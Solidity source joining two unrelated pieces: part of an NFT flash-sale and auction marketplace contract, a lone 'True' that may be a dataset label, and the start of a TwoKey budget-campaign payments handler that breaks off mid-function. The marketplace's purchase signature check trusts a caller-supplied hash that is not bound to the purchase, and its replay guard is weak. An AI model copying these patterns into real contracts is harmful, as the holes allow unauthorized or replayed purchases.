BaseSale base;
// the minimum increment in a bid
uint minBidIncrement;
// the highest price so far
uint highestBidPrice;
// the highest bidder so far
address highestBidder;
}
// whitelist to set sale
mapping(address => bool) public whitelist;
// sale ID -> flash sale
mapping(uint => FlashSale) flashSales;
// sale ID -> mapping(address => how many tokens have bought)
mapping(uint => mapping(address => uint)) flashSaleIDToPurchaseRecord;
// sale ID -> auction
mapping(uint => Auction) auctions;
// filter to check repetition
mapping(address => mapping(uint => bool)) repetitionFilter;
address public testServerAddress;
address public serverAddress;
// sale ID -> server hash
mapping(bytes32 => uint) serverHashMap;
// whitelist to set sale
mapping(uint => bool) public flashSaleOnProd;
event SetWhitelist(address _member, bool _isAdded);
event SetFlashSale(uint _saleID, address _flashSaleSetter, address _tokenAddresses, uint[] _tokenIDs, address _payTokenAddress,
uint _price, address _receiver, uint _purchaseLimitation, uint _startTime, uint _endTime);
event UpdateFlashSale(uint _saleID, address _operator, address _newTokenAddresses, uint[] _newTokenIDs, address _newPayTokenAddress,
uint _newPrice, address _newReceiver, uint _newPurchaseLimitation, uint _newStartTime, uint _newEndTime);
event CancelFlashSale(uint _saleID, address _operator);
event FlashSaleExpired(uint _saleID, address _operator);
event Purchase(uint _saleID, address _buyer, address _tokenAddresses, uint[] _tokenIDs, address _payTokenAddress, uint _totalPayment);
event SetAuction(uint _saleID, address _auctionSetter, address _tokenAddresses, uint[] _tokenIDs, address _payTokenAddress,
uint _initialPrice, address _receiver, uint _minBidIncrement, uint _startTime, uint _endTime);
event UpdateAuction(uint _saleID, address _operator, address _newTokenAddresses, uint[] _newTokenIDs, address _newPayTokenAddress,
uint _newInitialPrice, address _newReceiver, uint _newMinBidIncrement, uint _newStartTime, uint _newEndTime);
event RefundToPreviousBidder(uint _saleID, address _previousBidder, address _payTokenAddress, uint _refundAmount);
event CancelAuction(uint _saleID, address _operator);
event NewBidderTransfer(uint _saleID, address _newBidder, address _payTokenAddress, uint _bidPrice);
event SettleAuction(uint _saleID, address _operator, address _receiver, address _highestBidder, address _tokenAddresses, uint[] _tokenIDs, address _payTokenAddress, uint _highestBidPrice);
event MainCoin(uint totalPayment);
modifier onlyWhitelist() {
require(whitelist[msg.sender],
"the caller isn't in the whitelist");
_;
}
function init(address _newOwner) public {
require(!onlyInitOnce, "already initialized");
_transferOwnership(_newOwner);
onlyInitOnce = true;
}
function setWhitelist(address _member, bool _status) external onlyOwner {
whitelist[_member] = _status;
emit SetWhitelist(_member, _status);
}
// set auction by the member in whitelist
function setAuction(
address _tokenAddresses,
uint[] memory _tokenIDs,
address _payTokenAddress,
uint _initialPrice,
address _receiver,
uint _minBidIncrement,
uint _startTime,
uint _duration
) external nonReentrant onlyWhitelist {
// 1. check the validity of params
_checkAuctionParams(msg.sender, _tokenAddresses, _tokenIDs, _initialPrice, _minBidIncrement, _startTime, _duration);
// 2. build auction
Auction memory auction = Auction({
base : BaseSale({
seller : msg.sender,
tokenAddresses : _tokenAddresses,
tokenIDs : _tokenIDs,
payTokenAddress : _payTokenAddress,
price : _initialPrice,
receiver : _receiver,
startTime : _startTime,
endTime : _startTime.add(_duration),
isAvailable : true
}),
minBidIncrement : _minBidIncrement,
highestBidPrice : 0,
highestBidder : address(0)
});
// 3. store auction
uint currentSaleID = saleIDCounter;
saleIDCounter = saleIDCounter.add(1);
auctions[currentSaleID] = auction;
emit SetAuction(currentSaleID, auction.base.seller, auction.base.tokenAddresses, auction.base.tokenIDs,
auction.base.payTokenAddress, auction.base.price, auction.base.receiver, auction.minBidIncrement,
auction.base.startTime, auction.base.endTime);
}
// update auction by the member in whitelist
function updateAuction(
uint _saleID,
address _tokenAddresses,
uint[] memory _tokenIDs,
address _payTokenAddress,
uint _initialPrice,
address _receiver,
uint _minBidIncrement,
uint _startTime,
uint _duration
) external nonReentrant onlyWhitelist {
Auction memory auction = _getAuctionByID(_saleID);
// 1. make sure that the auction doesn't start
require(auction.base.startTime > now,
"it's not allowed to update the auction after the start of it");
require(auction.base.isAvailable,
"the auction has been cancelled");
require(auction.base.seller == msg.sender,
"the auction can only be updated by its setter");
// 2. check the validity of params to update
_checkAuctionParams(msg.sender, _tokenAddresses, _tokenIDs, _initialPrice, _minBidIncrement, _startTime, _duration);
// 3. update the auction
auction.base.tokenAddresses = _tokenAddresses;
auction.base.tokenIDs = _tokenIDs;
auction.base.payTokenAddress = _payTokenAddress;
auction.base.price = _initialPrice;
auction.base.receiver = _receiver;
auction.base.startTime = _startTime;
auction.base.endTime = _startTime.add(_duration);
auction.minBidIncrement = _minBidIncrement;
auctions[_saleID] = auction;
emit UpdateAuction(_saleID, auction.base.seller, auction.base.tokenAddresses, auction.base.tokenIDs,
auction.base.payTokenAddress, auction.base.price, auction.base.receiver, auction.minBidIncrement,
auction.base.startTime, auction.base.endTime);
}
// cancel the auction
function cancelAuction(uint _saleID) external nonReentrant onlyWhitelist {
Auction memory auction = _getAuctionByID(_saleID);
require(auction.base.isAvailable,
"the auction isn't available");
require(auction.base.seller == msg.sender,
"the auction can only be cancelled by its setter");
if (auction.highestBidPrice != 0) {
// some bid has paid for this auction
IERC20(auction.base.payTokenAddress).safeTransfer(auction.highestBidder, auction.highestBidPrice);
emit RefundToPreviousBidder(_saleID, auction.highestBidder, auction.base.payTokenAddress, auction.highestBidPrice);
}
auctions[_saleID].base.isAvailable = false;
emit CancelAuction(_saleID, msg.sender);
}
// bid for the target auction
function bid(uint _saleID, uint _bidPrice) external nonReentrant {
Auction memory auction = _getAuctionByID(_saleID);
// check the validity of the target auction
require(auction.base.isAvailable,
"the auction isn't available");
require(auction.base.seller != msg.sender,
"the setter can't bid for its own auction");
uint currentTime = now;
require(currentTime >= auction.base.startTime,
"the auction doesn't start");
require(currentTime < auction.base.endTime,
"the auction has expired");
IERC20 payToken = IERC20(auction.base.payTokenAddress);
// check bid price in auction
if (auction.highestBidPrice != 0) {
// not first bid
require(_bidPrice.sub(auction.highestBidPrice) >= auction.minBidIncrement,
"the bid price must be larger than the sum of current highest one and minimum bid increment");
// refund to the previous highest bidder from this contract
payToken.safeTransfer(auction.highestBidder, auction.highestBidPrice);
emit RefundToPreviousBidder(_saleID, auction.highestBidder, auction.base.payTokenAddress, auction.highestBidPrice);
} else {
// first bid
require(_bidPrice == auction.base.price,
"first bid must follow the initial price set in the auction");
}
// update storage auctions
auctions[_saleID].highestBidPrice = _bidPrice;
auctions[_saleID].highestBidder = msg.sender;
// transfer the bid price into this contract
payToken.safeApprove(address(this), 0);
payToken.safeApprove(address(this), _bidPrice);
payToken.safeTransferFrom(msg.sender, address(this), _bidPrice);
emit NewBidderTransfer(_saleID, msg.sender, auction.base.payTokenAddress, _bidPrice);
}
// settle the auction by the member in whitelist
function settleAuction(uint _saleID) external nonReentrant onlyWhitelist {
Auction memory auction = _getAuctionByID(_saleID);
// check the validity of the target auction
require(auction.base.isAvailable,
"only the available auction can be settled");
require(auction.base.endTime <= now,
"the auction can only be settled after its end time");
if (auction.highestBidPrice != 0) {
// the auction has been bidden
// transfer pay token to the receiver from this contract
IERC20(auction.base.payTokenAddress).safeTransfer(auction.base.receiver, auction.highestBidPrice);
// transfer erc721s to the bidder who keeps the highest price
for (uint i = 0; i < auction.base.tokenIDs.length; i++) {
IERC721(auction.base.tokenAddresses).safeTransferFrom(auction.base.seller, auction.highestBidder, auction.base.tokenIDs[i]);
}
}
// close the auction
auctions[_saleID].base.isAvailable = false;
emit SettleAuction(_saleID, msg.sender, auction.base.receiver, auction.highestBidder, auction.base.tokenAddresses,
auction.base.tokenIDs, auction.base.payTokenAddress, auction.highestBidPrice);
}
event AddTokens(uint256[] _tokenIds,uint _saleID);
function addTokenIdToSale(uint _saleID,address _tokenAddresses, uint256[] memory _tokenIDs) external onlyWhitelist{
uint standardLen = _tokenIDs.length;
require(standardLen > 0,
"length of tokenAddresses must be > 0");
require(flashSales[_saleID].base.startTime > now,
"it's not allowed to update the sale after the start of it");
require(flashSales[_saleID].base.seller == msg.sender,
"the sale can only be updated by its setter");
IERC721 tokenAddressCached = IERC721(_tokenAddresses);
for(uint i = 0; i < _tokenIDs.length; i++) {
uint256 tokenId = _tokenIDs[i];
require(tokenAddressCached.ownerOf(tokenId) == flashSales[_saleID].base.seller,
"unmatched ownership of target ERC721 token");
flashSales[_saleID].base.tokenIDs.push(tokenId);
}
emit AddTokens(_tokenIDs,_saleID);
}
// set flash sale by the member in whitelist
// NOTE: set 0 duration if you don't want an endTime
function setFlashSale(
address _tokenAddresses,
uint[] memory _tokenIDs,
address _payTokenAddress,
uint _price,
address _receiver,
uint _purchaseLimitation,
uint _startTime,
uint _duration,
bool prod
) external nonReentrant onlyWhitelist {
// 1. check the validity of params
_checkFlashSaleParams(msg.sender, _tokenAddresses, _tokenIDs, _price, _startTime, _purchaseLimitation);
// 2. build flash sale
uint endTime;
if (_duration != 0) {
endTime = _startTime.add(_duration);
}
FlashSale memory flashSale = FlashSale({
base : BaseSale({
seller : msg.sender,
tokenAddresses : _tokenAddresses,
tokenIDs : _tokenIDs,
payTokenAddress : _payTokenAddress,
price : _price,
receiver : _receiver,
startTime : _startTime,
endTime : endTime,
isAvailable : true
}),
purchaseLimitation : _purchaseLimitation
});
// 3. store flash sale
uint currentSaleID = saleIDCounter;
saleIDCounter = saleIDCounter.add(1);
flashSales[currentSaleID] = flashSale;
//if true then prod env else test env
flashSaleOnProd[currentSaleID] = prod;
emit SetFlashSale(currentSaleID, flashSale.base.seller, flashSale.base.tokenAddresses, flashSale.base.tokenIDs,
flashSale.base.payTokenAddress, flashSale.base.price, flashSale.base.receiver, flashSale.purchaseLimitation,
flashSale.base.startTime, flashSale.base.endTime);
}
// update the flash sale before starting
// NOTE: set 0 duration if you don't want an endTime
function updateFlashSale(
uint _saleID,
address _tokenAddresses,
uint[] memory _tokenIDs,
address _payTokenAddress,
uint _price,
address _receiver,
uint _purchaseLimitation,
uint _startTime,
uint _duration
) external nonReentrant onlyWhitelist {
FlashSale memory flashSale = _getFlashSaleByID(_saleID);
// 1. make sure that the flash sale doesn't start
require(flashSale.base.startTime > now,
"it's not allowed to update the flash sale after the start of it");
require(flashSale.base.isAvailable,
"the flash sale has been cancelled");
require(flashSale.base.seller == msg.sender,
"the flash sale can only be updated by its setter");
// 2. check the validity of params to update
_checkFlashSaleParams(msg.sender, _tokenAddresses, _tokenIDs, _price, _startTime, _purchaseLimitation);
// 3. update flash sale
uint endTime;
if (_duration != 0) {
endTime = _startTime.add(_duration);
}
flashSale.base.tokenAddresses = _tokenAddresses;
flashSale.base.tokenIDs = _tokenIDs;
flashSale.base.payTokenAddress = _payTokenAddress;
flashSale.base.price = _price;
flashSale.base.receiver = _receiver;
flashSale.base.startTime = _startTime;
flashSale.base.endTime = endTime;
flashSale.purchaseLimitation = _purchaseLimitation;
flashSales[_saleID] = flashSale;
emit UpdateFlashSale(_saleID, flashSale.base.seller, flashSale.base.tokenAddresses, flashSale.base.tokenIDs,
flashSale.base.payTokenAddress, flashSale.base.price, flashSale.base.receiver, flashSale.purchaseLimitation,
flashSale.base.startTime, flashSale.base.endTime);
}
// cancel the flash sale
function cancelFlashSale(uint _saleID) external onlyWhitelist {
FlashSale memory flashSale = _getFlashSaleByID(_saleID);
require(flashSale.base.isAvailable,
"the flash sale isn't available");
require(flashSale.base.seller == msg.sender,
"the flash sale can only be cancelled by its setter");
flashSales[_saleID].base.isAvailable = false;
emit CancelFlashSale(_saleID, msg.sender);
}
function setServerAddress(address targetAddress) public onlyOwner{
serverAddress = targetAddress;
}
function setTestServerAddress(address targetAddress) public onlyOwner{
testServerAddress = targetAddress;
}
function setFlashSaleEnv(uint _saleID,bool isProd) public nonReentrant onlyOwner{
flashSaleOnProd[_saleID] = isProd;
}
// rush to purchase by anyone
function purchase(uint _saleID, uint _amount,bytes32 hash,uint8 v, bytes32 r, bytes32 s) external payable nonReentrant {
if(flashSaleOnProd[_saleID]==true){
require(ecrecover(hash, v, r, s) == serverAddress,"verify prod server sign failed") ;
}else{
require(ecrecover(hash, v, r, s) == testServerAddress,"verify test server sign failed") ;
}
// we have set saleIDCounter initial value to 1 to prevent when _saleID = 0 from can not being purchased
require(serverHashMap[hash] != _saleID,"sign hash repeat") ;
FlashSale memory flashSale = _getFlashSaleByID(_saleID);
// check the validity
require(_amount > 0,
"amount should be > 0");
require(flashSale.base.isAvailable,
"the flash sale isn't available");
require(flashSale.base.seller != msg.sender,
"the setter can't make a purchase from its own flash sale");
uint currentTime = now;
require(currentTime >= flashSale.base.startTime,
"the flash sale doesn't start");
// check whether the end time arrives
if (flashSale.base.endTime != 0 && flashSale.base.endTime <= currentTime) {
// the flash sale has been set an end time and expired
flashSales[_saleID].base.isAvailable = false;
emit FlashSaleExpired(_saleID, msg.sender);
return;
}
// check the purchase record of the buyer
uint newPurchaseRecord = flashSaleIDToPurchaseRecord[_saleID][msg.sender].add(_amount);
require(newPurchaseRecord <= flashSale.purchaseLimitation,
"total amount to purchase exceeds the limitation of an address");
// check whether the amount of token rest in flash sale is sufficient for this trade
require(_amount <= flashSale.base.tokenIDs.length,
"insufficient amount of token for this trade");
// pay the receiver
flashSaleIDToPurchaseRecord[_saleID][msg.sender] = newPurchaseRecord;
uint totalPayment = flashSale.base.price.mul(_amount);
//IERC20(flashSale.base.payTokenAddress).safeTransferFrom(msg.sender, flashSale.base.receiver, totalPayment);
if(flashSale.base.payTokenAddress!= address(0)){
IERC20(flashSale.base.payTokenAddress).safeTransferFrom(msg.sender, flashSale.base.receiver, totalPayment);
}else{
require(msg.value >= totalPayment, "amount should be > totalPayment");
emit MainCoin(totalPayment);
payable(flashSale.base.receiver).transfer(totalPayment);
}
// transfer erc721 tokens to buyer
uint[] memory tokenIDsRecord = new uint[](_amount);
uint targetIndex = flashSale.base.tokenIDs.length - 1;
for (uint i = 0; i < _amount; i++) {
IERC721(flashSale.base.tokenAddresses).safeTransferFrom(flashSale.base.seller, msg.sender, flashSale.base.tokenIDs[targetIndex]);
tokenIDsRecord[i] = flashSale.base.tokenIDs[targetIndex];
targetIndex--;
flashSales[_saleID].base.tokenIDs.pop();
}
if (flashSales[_saleID].base.tokenIDs.length == 0) {
flashSales[_saleID].base.isAvailable = false;
}
serverHashMap[hash] = _saleID;
//event Purchase(uint _saleID, address _buyer, address _tokenAddresses, uint[] _tokenIDs, address _payTokenAddress, uint _totalPayment);
emit Purchase(_saleID, msg.sender, flashSale.base.tokenAddresses, tokenIDsRecord, flashSale.base.payTokenAddress, totalPayment);
}
function getFlashSaleTokenRemaining(uint _saleID) public view returns (uint){
// check whether the flash sale ID exists
FlashSale memory flashSale = _getFlashSaleByID(_saleID);
return flashSale.base.tokenIDs.length;
}
function getFlashSalePurchaseRecord(uint _saleID, address _buyer) public view returns (uint){
// check whether the flash sale ID exists
_getFlashSaleByID(_saleID);
return flashSaleIDToPurchaseRecord[_saleID][_buyer];
}
function getAuction(uint _saleID) public view returns (Auction memory){
return _getAuctionByID(_saleID);
}
function getFlashSale(uint _saleID) public view returns (FlashSale memory){
return _getFlashSaleByID(_saleID);
}
function getCurrentSaleID() external view returns (uint256) {
return saleIDCounter;
}
function _getAuctionByID(uint _saleID) internal view returns (Auction memory auction){
auction = auctions[_saleID];
require(auction.base.seller != address(0),
"the target auction doesn't exist");
}
function _getFlashSaleByID(uint _saleID) internal view returns (FlashSale memory flashSale){
flashSale = flashSales[_saleID];
require(flashSale.base.seller != address(0),
"the target flash sale doesn't exist");
}
function _checkAuctionParams(
address _baseSaleSetter,
address _tokenAddresses,
uint[] memory _tokenIDs,
uint _initialPrice,
uint _minBidIncrement,
uint _startTime,
uint _duration
) internal {
_checkBaseSaleParams(_baseSaleSetter, _tokenAddresses, _tokenIDs, _initialPrice, _startTime);
require(_minBidIncrement > 0,
"minBidIncrement must be > 0");
require(_duration > 0,
"duration must be > 0");
}
function _checkFlashSaleParams(
address _baseSaleSetter,
address _tokenAddresses,
uint[] memory _tokenIDs,
uint _price,
uint _startTime,
uint _purchaseLimitation
) internal {
uint standardLen = _checkBaseSaleParams(_baseSaleSetter, _tokenAddresses, _tokenIDs, _price, _startTime);
require(_purchaseLimitation > 0,
"purchaseLimitation must be > 0");
require(_purchaseLimitation <= standardLen,
"purchaseLimitation must be <= the length of tokenAddresses");
}
function _checkBaseSaleParams(
address _baseSaleSetter,
address _tokenAddresses,
uint[] memory _tokenIDs,
uint _price,
uint _startTime
) internal returns (uint standardLen){
standardLen = _tokenIDs.length;
// check whether the sale setter has the target tokens && approval
IERC721 tokenAddressCached = IERC721(_tokenAddresses);
uint tokenIDCached;
for (uint i = 0; i < standardLen; i++) {
tokenIDCached = _tokenIDs[i];
// check repetition
require(!repetitionFilter[address(tokenAddressCached)][tokenIDCached],
"repetitive ERC721 tokens");
repetitionFilter[address(tokenAddressCached)][tokenIDCached] = true;
require(tokenAddressCached.ownerOf(tokenIDCached) == _baseSaleSetter,
"unmatched ownership of target ERC721 token");
require(
tokenAddressCached.getApproved(tokenIDCached) == address(this) ||
tokenAddressCached.isApprovedForAll(_baseSaleSetter, address(this)),
"the contract hasn't been approved for ERC721 transferring");
}
require(_price > 0,
"the price or the initial price must be > 0");
require(_startTime >= now,
"startTime must be >= now");
// clear filter
for (uint i = 0; i < standardLen; i++) {
repetitionFilter[_tokenAddresses][_tokenIDs[i]] = false;
}
}
}
|
True
|
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] |
pragma solidity ^0.4.13;
contract IERC20 {
function balanceOf(
address whom
)
external
view
returns (uint);
function transfer(
address _to,
uint256 _value
)
external
returns (bool);
function transferFrom(
address _from,
address _to,
uint256 _value
)
external
returns (bool);
function approve(
address _spender,
uint256 _value
)
public
returns (bool);
function decimals()
external
view
returns (uint);
function symbol()
external
view
returns (string);
function name()
external
view
returns (string);
function freezeTransfers()
external;
function unfreezeTransfers()
external;
}
contract IStructuredStorage {
function setProxyLogicContractAndDeployer(address _proxyLogicContract, address _deployer) external;
function setProxyLogicContract(address _proxyLogicContract) external;
// *** Getter Methods ***
function getUint(bytes32 _key) external view returns(uint);
function getString(bytes32 _key) external view returns(string);
function getAddress(bytes32 _key) external view returns(address);
function getBytes(bytes32 _key) external view returns(bytes);
function getBool(bytes32 _key) external view returns(bool);
function getInt(bytes32 _key) external view returns(int);
function getBytes32(bytes32 _key) external view returns(bytes32);
// *** Getter Methods For Arrays ***
function getBytes32Array(bytes32 _key) external view returns (bytes32[]);
function getAddressArray(bytes32 _key) external view returns (address[]);
function getUintArray(bytes32 _key) external view returns (uint[]);
function getIntArray(bytes32 _key) external view returns (int[]);
function getBoolArray(bytes32 _key) external view returns (bool[]);
// *** Setter Methods ***
function setUint(bytes32 _key, uint _value) external;
function setString(bytes32 _key, string _value) external;
function setAddress(bytes32 _key, address _value) external;
function setBytes(bytes32 _key, bytes _value) external;
function setBool(bytes32 _key, bool _value) external;
function setInt(bytes32 _key, int _value) external;
function setBytes32(bytes32 _key, bytes32 _value) external;
// *** Setter Methods For Arrays ***
function setBytes32Array(bytes32 _key, bytes32[] _value) external;
function setAddressArray(bytes32 _key, address[] _value) external;
function setUintArray(bytes32 _key, uint[] _value) external;
function setIntArray(bytes32 _key, int[] _value) external;
function setBoolArray(bytes32 _key, bool[] _value) external;
// *** Delete Methods ***
function deleteUint(bytes32 _key) external;
function deleteString(bytes32 _key) external;
function deleteAddress(bytes32 _key) external;
function deleteBytes(bytes32 _key) external;
function deleteBool(bytes32 _key) external;
function deleteInt(bytes32 _key) external;
function deleteBytes32(bytes32 _key) external;
}
contract ITether {
function transferFrom(address _from, address _to, uint256 _value) external;
function transfer(address _to, uint256 _value) external;
}
contract ITwoKeyAdmin {
function getDefaultIntegratorFeePercent() public view returns (uint);
function getDefaultNetworkTaxPercent() public view returns (uint);
function getTwoKeyRewardsReleaseDate() external view returns(uint);
function updateReceivedTokensAsModerator(uint amountOfTokens) public;
function updateReceivedTokensAsModeratorPPC(uint amountOfTokens, address campaignPlasma) public;
function addFeesCollectedInCurrency(string currency, uint amount) public payable;
function updateTokensReceivedFromDistributionFees(uint amountOfTokens) public;
}
contract ITwoKeyEventSource {
function ethereumOf(address me) public view returns (address);
function plasmaOf(address me) public view returns (address);
function isAddressMaintainer(address _maintainer) public view returns (bool);
function getTwoKeyDefaultIntegratorFeeFromAdmin() public view returns (uint);
function joined(address _campaign, address _from, address _to) external;
function rejected(address _campaign, address _converter) external;
function convertedAcquisition(
address _campaign,
address _converterPlasma,
uint256 _baseTokens,
uint256 _bonusTokens,
uint256 _conversionAmount,
bool _isFiatConversion,
uint _conversionId
)
external;
function getTwoKeyDefaultNetworkTaxPercent()
public
view
returns (uint);
function convertedDonation(
address _campaign,
address _converterPlasma,
uint256 _conversionAmount,
uint256 _conversionId
)
external;
function executed(
address _campaignAddress,
address _converterPlasmaAddress,
uint _conversionId,
uint tokens
)
external;
function tokensWithdrawnFromPurchasesHandler(
address campaignAddress,
uint _conversionID,
uint _tokensAmountWithdrawn
)
external;
function emitDebtEvent(
address _plasmaAddress,
uint _amount,
bool _isAddition,
string _currency
)
external;
function emitReceivedTokensToDeepFreezeTokenPool(
address _campaignAddress,
uint _amountOfTokens
)
public;
function emitReceivedTokensAsModerator(
address _campaignAddress,
uint _amountOfTokens
)
public;
function emitDAIReleasedAsIncome(
address _campaignContractAddress,
uint _amountOfDAI
)
public;
function emitEndedBudgetCampaign(
address campaignPlasmaAddress,
uint contractorLeftover,
uint moderatorEarningsDistributed
)
public;
function emitUserWithdrawnNetworkEarnings(
address user,
uint amountOfTokens
)
public;
function emitRebalancedRewards(
uint cycleId,
uint difference,
string action
)
public;
}
contract ITwoKeyExchangeRateContract {
function getBaseToTargetRate(string _currency) public view returns (uint);
function getStableCoinTo2KEYQuota(address stableCoinAddress) public view returns (uint,uint);
function getStableCoinToUSDQuota(address stableCoin) public view returns (uint);
}
contract ITwoKeyMaintainersRegistry {
function checkIsAddressMaintainer(address _sender) public view returns (bool);
function checkIsAddressCoreDev(address _sender) public view returns (bool);
function addMaintainers(address [] _maintainers) public;
function addCoreDevs(address [] _coreDevs) public;
function removeMaintainers(address [] _maintainers) public;
function removeCoreDevs(address [] _coreDevs) public;
}
contract ITwoKeySingletoneRegistryFetchAddress {
function getContractProxyAddress(string _contractName) public view returns (address);
function getNonUpgradableContractAddress(string contractName) public view returns (address);
function getLatestCampaignApprovedVersion(string campaignType) public view returns (string);
}
interface ITwoKeySingletonesRegistry {
/**
* @dev This event will be emitted every time a new proxy is created
* @param proxy representing the address of the proxy created
*/
event ProxyCreated(address proxy);
/**
* @dev This event will be emitted every time a new implementation is registered
* @param version representing the version name of the registered implementation
* @param implementation representing the address of the registered implementation
* @param contractName is the name of the contract we added new version
*/
event VersionAdded(string version, address implementation, string contractName);
/**
* @dev Registers a new version with its implementation address
* @param version representing the version name of the new implementation to be registered
* @param implementation representing the address of the new implementation to be registered
*/
function addVersion(string _contractName, string version, address implementation) public;
/**
* @dev Tells the address of the implementation for a given version
* @param _contractName is the name of the contract we're querying
* @param version to query the implementation of
* @return address of the implementation registered for the given version
*/
function getVersion(string _contractName, string version) public view returns (address);
}
contract IUpgradableExchange {
function buyRate2key() public view returns (uint);
function sellRate2key() public view returns (uint);
function buyTokensWithERC20(
uint amountOfTokens,
address tokenAddress
)
public
returns (uint,uint);
function buyTokens(
address _beneficiary
)
public
payable
returns (uint,uint);
function buyStableCoinWith2key(
uint _twoKeyUnits,
address _beneficiary
)
public
payable;
function report2KEYWithdrawnFromNetwork(
uint amountOfTokensWithdrawn
)
public;
function getEth2DaiAverageExchangeRatePerContract(
uint _contractID
)
public
view
returns (uint);
function getContractId(
address _contractAddress
)
public
view
returns (uint);
function getEth2KeyAverageRatePerContract(
uint _contractID
)
public
view
returns (uint);
function returnLeftoverAfterRebalancing(
uint amountOf2key
)
public;
function getMore2KeyTokensForRebalancing(
uint amountOf2KeyRequested
)
public
view
returns (uint);
function releaseAllDAIFromContractToReserve()
public;
function setKyberReserveInterfaceContractAddress(
address kyberReserveContractAddress
)
public;
function setSpreadWei(
uint newSpreadWei
)
public;
function withdrawDAIAvailableToFill2KEYReserve(
uint amountOfDAI
)
public
returns (uint);
function returnTokensBackToExchangeV1(
uint amountOfTokensToReturn
)
public;
function getMore2KeyTokensForRebalancingV1(
uint amountOfTokensRequested
)
public;
}
contract ITwoKeyBudgetCampaignsPaymentsHandlerStorage is IStructuredStorage{
}
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (_a == 0) {
return 0;
}
c = _a * _b;
require(c / _a == _b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
// assert(_b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = _a / _b;
// assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold
return _a / _b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a);
return _a - _b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
require(c >= _a);
return c;
}
}
contract ITwoKeySingletonUtils {
address public TWO_KEY_SINGLETON_REGISTRY;
// Modifier to restrict method calls only to maintainers
modifier onlyMaintainer {
address twoKeyMaintainersRegistry = getAddressFromTwoKeySingletonRegistry("TwoKeyMaintainersRegistry");
require(ITwoKeyMaintainersRegistry(twoKeyMaintainersRegistry).checkIsAddressMaintainer(msg.sender));
_;
}
/**
* @notice Function to get any singleton contract proxy address from TwoKeySingletonRegistry contract
* @param contractName is the name of the contract we're looking for
*/
function getAddressFromTwoKeySingletonRegistry(
string contractName
)
internal
view
returns (address)
{
return ITwoKeySingletoneRegistryFetchAddress(TWO_KEY_SINGLETON_REGISTRY)
.getContractProxyAddress(contractName);
}
function getNonUpgradableContractAddressFromTwoKeySingletonRegistry(
string contractName
)
internal
view
returns (address)
{
return ITwoKeySingletoneRegistryFetchAddress(TWO_KEY_SINGLETON_REGISTRY)
.getNonUpgradableContractAddress(contractName);
}
}
contract UpgradeabilityStorage {
// Versions registry
ITwoKeySingletonesRegistry internal registry;
// Address of the current implementation
address internal _implementation;
/**
* @dev Tells the address of the current implementation
* @return address of the current implementation
*/
function implementation() public view returns (address) {
return _implementation;
}
}
contract Upgradeable is UpgradeabilityStorage {
/**
* @dev Validates the caller is the versions registry.
* @param sender representing the address deploying the initial behavior of the contract
*/
function initialize(address sender) public payable {
require(msg.sender == address(registry));
}
}
contract TwoKeyBudgetCampaignsPaymentsHandler is Upgradeable, ITwoKeySingletonUtils {
using SafeMath for *;
/**
* State variables
* TO BE EXPANDED
*/
string constant _campaignPlasma2initialBudget2Key = "campaignPlasma2initialBudget2Key";
string constant _campaignPlasma2isCampaignEnded = "campaignPlasma2isCampaignEnded";
string constant _campaignPlasma2contractor = "campaignPlasma2contractor";
string constant _campaignPlasma2isBudgetedWith2KeyDirectly = "campaignPlasma2isBudgetedWith2KeyDirectly";
string constant _campaignPlasma2StableCoinAddress = "campaignPlasma2StableCoinAddress";
string constant _campaignPlasma2rebalancingRatio = "campaignPlasma2rebalancingRatio";
string constant _campaignPlasma2initialRate = "campaignPlasma2initalRate";
string constant _campaignPlasma2bountyPerConversion2KEY = "campaignPlasma2bountyPerConversion2KEY";
string constant _campaignPlasma2amountOfStableCoins = "campaignPlasma2amountOfStableCoins";
string constant _numberOfDistributionCycles = "numberOfDistributionCycles";
string constant _distributionCycleToTotalDistributed = "_distributionCycleToTotalDistributed";
string constant _campaignPlasma2ReferrerRewardsTotal = "campaignPlasma2ReferrerRewardsTotal";
string constant _campaignPlasmaToModeratorEarnings = "campaignPlasmaToModeratorEarnings";
string constant _campaignPlasmaToLeftOverForContractor = "campaignPlasmaToLeftOverForContractor";
string constant _campaignPlasmaToLeftoverWithdrawnByContractor = "campaignPlasmaToLeftoverWithdrawnByContractor";
string constant _feePerCycleIdPerReferrer = "feePerCycleIdPerReferrer";
ITwoKeyBudgetCampaignsPaymentsHandlerStorage public PROXY_STORAGE_CONTRACT;
bool initialized;
function setInitialParams(
address _twoKeySingletonRegistry,
address _proxyStorageContract
)
public
{
require(initialized == false);
TWO_KEY_SINGLETON_REGISTRY = _twoKeySingletonRegistry;
PROXY_STORAGE_CONTRACT = ITwoKeyBudgetCampaignsPaymentsHandlerStorage(_proxyStorageContract);
initialized = true;
}
/**
* ------------------------------------
* Contractor actions
* ------------------------------------
*/
/**
* @notice Function which will be used in order to add inventory for campaign
* directly with 2KEY tokens. In order to make this
* transfer secure,
* user will firstly have to approve this contract to take from him
* amount of tokens and then call contract function which will execute
* transferFrom action. This function can be called only once.
*
* @param campaignPlasma is the plasma campaign address which is user adding inventory for.
* @param amountOf2KEYTokens is the amount of 2KEY tokens user adds to budget
*/
function addInventory2KEY(
address campaignPlasma,
uint amountOf2KEYTokens,
uint bountyPerConversionFiat
)
public
{
// Require that budget is not previously set and assign amount of 2KEY tokens
requireBudgetNotSetAndSetBudget(campaignPlasma, amountOf2KEYTokens);
// Set that contractor is the msg.sender of this method for the campaign passed
setAddress(keccak256(_campaignPlasma2contractor, campaignPlasma), msg.sender);
// Get 2KEY sell rate at the moment
uint rate = IUpgradableExchange(getAddressFromTwoKeySingletonRegistry("TwoKeyUpgradableExchange")).sellRate2key();
// calculate bounty per conversion 2KEY
uint bountyPerConversion2KEY = bountyPerConversionFiat.mul(10**18).div(rate);
// Calculate and set bounty per conversion in 2KEY units
setUint(
